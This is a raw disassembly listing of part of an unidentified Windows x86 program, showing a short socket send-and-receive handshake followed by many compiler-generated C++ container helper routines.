		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4218C2
		push	0
		push	18h
		push	offset dword_444E1C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4218C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4218C2
		push	10h
		push	offset loc_444DF4
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AFF
		add	esp, 10h
		test	al, al
		jz	short loc_421891
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421891:				; CODE XREF: ___:0042186Ej
		push	10h
		push	offset dword_444E08
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AFF
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4218C2:				; CODE XREF: ___:004217DBj
					; ___:004217F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4218C9:				; CODE XREF: ___:0042177Ej
					; ___:00421787j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421950:				; CODE XREF: ___:00401A0Fj
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421970	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421970	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219B0	proc near		; CODE XREF: sub_4018E8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401910
sub_4219B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4219F0	proc near		; CODE XREF: sub_401825j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40197E
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401956
sub_4219F0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_4014E2j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401EDD
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421A60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421AA0	proc near		; CODE XREF: sub_40197Ej

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421AA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421AD0	proc near		; CODE XREF: sub_402185j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_40197E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40190B
sub_421AD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B10	proc near		; CODE XREF: sub_40170Dj
		push	esi
		mov	esi, ecx
		call	sub_4019FB
		mov	eax, esi
		pop	esi
		retn
sub_421B10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B30	proc near		; CODE XREF: sub_40122Bj
		mov	eax, [ecx]
		push	eax
		call	sub_4010F5
		add	esp, 4
		retn
sub_421B30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B50	proc near		; CODE XREF: sub_40107Dj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40206D
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421B50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421B80	proc near		; CODE XREF: sub_401811j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40201D
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421B80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BB0	proc near		; CODE XREF: sub_4016EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401212
sub_421BB0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421BF0	proc near		; CODE XREF: sub_401253j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4013F7
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401465
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40100F
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_4021DA
sub_421BF0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_401465j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401D89
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_421C60	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421CA0	proc near		; CODE XREF: sub_4013F7j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_421CA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421CD0	proc near		; CODE XREF: sub_401325j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4013F7
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401BC2
sub_421CD0	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D10	proc near		; CODE XREF: sub_401B54j
		push	esi
		mov	esi, ecx
		call	sub_4011A9
		mov	eax, esi
		pop	esi
		retn
sub_421D10	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D30	proc near		; CODE XREF: sub_401055j
		mov	eax, [ecx]
		push	eax
		call	sub_40108C
		add	esp, 4
		retn
sub_421D30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D50	proc near		; CODE XREF: sub_401839j
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40110E
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_421D50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421D80	proc near		; CODE XREF: sub_4012BCj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401D5C
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_421D80	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421DB0	proc near		; CODE XREF: sub_4010E6j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401EEC
		mov	edi, eax
		push	edi
		call	sub_401B31
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_40139D
sub_421DB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401B31
		push	edi
		mov	[eax], ebx
		call	sub_401B31
		mov	edi, [eax]
		push	edi
		call	sub_401B31
		mov	ecx, [eax]
		push	ecx
		call	sub_4015DC
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401172
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401E5B
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D98
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421E50	proc near		; CODE XREF: sub_40190Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4010C8
		mov	edi, eax
		push	edi
		call	sub_401D07
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401910
sub_421E50	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401D07
		push	edi
		mov	[eax], ebx
		call	sub_401D07
		mov	edi, [eax]
		push	edi
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4010F5
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4017F3
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401EDD
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421EF0	proc near		; CODE XREF: sub_4019A6j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jz	short loc_421F4A


loc_421F08:				; CODE XREF: sub_421EF0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4020D6
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401A2D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401811
		test	al, al
		jnz	short loc_421F08
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_421F4A:				; CODE XREF: sub_421EF0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_421EF0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421F80	proc near		; CODE XREF: sub_401910j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	24h
		call	sub_401E0B
sub_421F80	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_421F95
		mov	edi, esi


loc_421F95:				; CODE XREF: ___:00421F91j
		push	esi
		call	sub_40206D
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_421FAA
		mov	edi, esi


loc_421FAA:				; CODE XREF: ___:00421FA6j
		push	esi
		call	sub_401D07
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421FD0	proc near		; CODE XREF: sub_401956j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401550
sub_421FD0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_421FF0	proc near		; CODE XREF: sub_40206Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_421FF0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422010	proc near		; CODE XREF: sub_4010F5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422010	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422030	proc near		; CODE XREF: sub_4019FBj
		mov	eax, ecx
		retn
sub_422030	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422050	proc near		; CODE XREF: sub_401EDDj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401523
		mov	eax, esi
		pop	esi
		retn	4
sub_422050	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422080	proc near		; CODE XREF: sub_40201Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_422080	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4220B0	proc near		; CODE XREF: sub_401BC2j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4018F7
		mov	edi, eax
		push	edi
		call	sub_4010EB
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401212
sub_4220B0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4010EB
		push	edi
		mov	[eax], ebx
		call	sub_4010EB
		mov	edi, [eax]
		push	edi
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_40108C
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4013E8
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D89
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422150	proc near		; CODE XREF: sub_40100Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jz	short loc_4221AA


loc_422168:				; CODE XREF: sub_422150+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4019BA
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401B90
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_4012BC
		test	al, al
		jnz	short loc_422168
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4221AA:				; CODE XREF: sub_422150+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_422150	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4221E0	proc near		; CODE XREF: sub_401212j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	20h
		call	sub_4020DB
sub_4221E0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4221F5
		mov	edi, esi


loc_4221F5:				; CODE XREF: ___:004221F1j
		push	esi
		call	sub_40110E
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_42220A
		mov	edi, esi


loc_42220A:				; CODE XREF: ___:00422206j
		push	esi
		call	sub_4010EB
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422230	proc near		; CODE XREF: sub_4021DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4018F2
sub_422230	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422250	proc near		; CODE XREF: sub_40110Ej

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_422250	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422270	proc near		; CODE XREF: sub_40108Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_422270	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422290	proc near		; CODE XREF: sub_4011A9j
		mov	eax, ecx
		retn
sub_422290	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222B0	proc near		; CODE XREF: sub_401D89j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_4018FC
		mov	eax, esi
		pop	esi
		retn	4
sub_4222B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4222E0	proc near		; CODE XREF: sub_401D5Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4222E0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422310	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401A3C
		add	esp, 8
		retn	8
sub_422310	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422340	proc near		; CODE XREF: sub_401A2Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4020D6
		mov	ecx, eax
		call	sub_4010C8
		mov	esi, eax
		push	esi
		call	sub_40206D
		push	esi
		mov	ebx, eax
		call	sub_401D07
		mov	ecx, [eax]
		push	ecx
		call	sub_40206D
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401D07
		push	esi
		mov	ebx, eax
		call	sub_40206D
		mov	eax, [eax]
		push	eax
		call	sub_401D07
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4010F5
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_40163B
		push	esi
		mov	ecx, edi
		call	sub_401956
sub_422340	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422400	proc near		; CODE XREF: sub_401D07j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_422400	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422420	proc near		; CODE XREF: sub_401E0Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_422420	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422450	proc near		; CODE XREF: sub_401550j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_422450	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_422470	proc near		; CODE XREF: sub_4017F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40203B
		add	esp, 8
		retn	8
sub_422470	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224A0	proc near		; CODE XREF: sub_401523j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4224A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224C0	proc near		; CODE XREF: sub_4010C8j
		mov	eax, [ecx]
		retn
sub_4224C0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4224E0	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40107D
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4224E0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_422510	proc near		; CODE XREF: sub_401B90j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4019BA
		mov	ecx, eax
		call	sub_4018F7
		mov	esi, eax
		push	esi
		call	sub_40110E
		push	esi
		mov	ebx, eax
		call	sub_4010EB
		mov	ecx, [eax]
		push	ecx
		call	sub_40110E
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4010EB
		push	esi
		mov	ebx, eax
		call	sub_40110E
		mov	eax, [eax]
		push	eax
		call	sub_4010EB
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_40108C
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401E7E
		push	esi
		mov	ecx, edi
		call	sub_4021DA
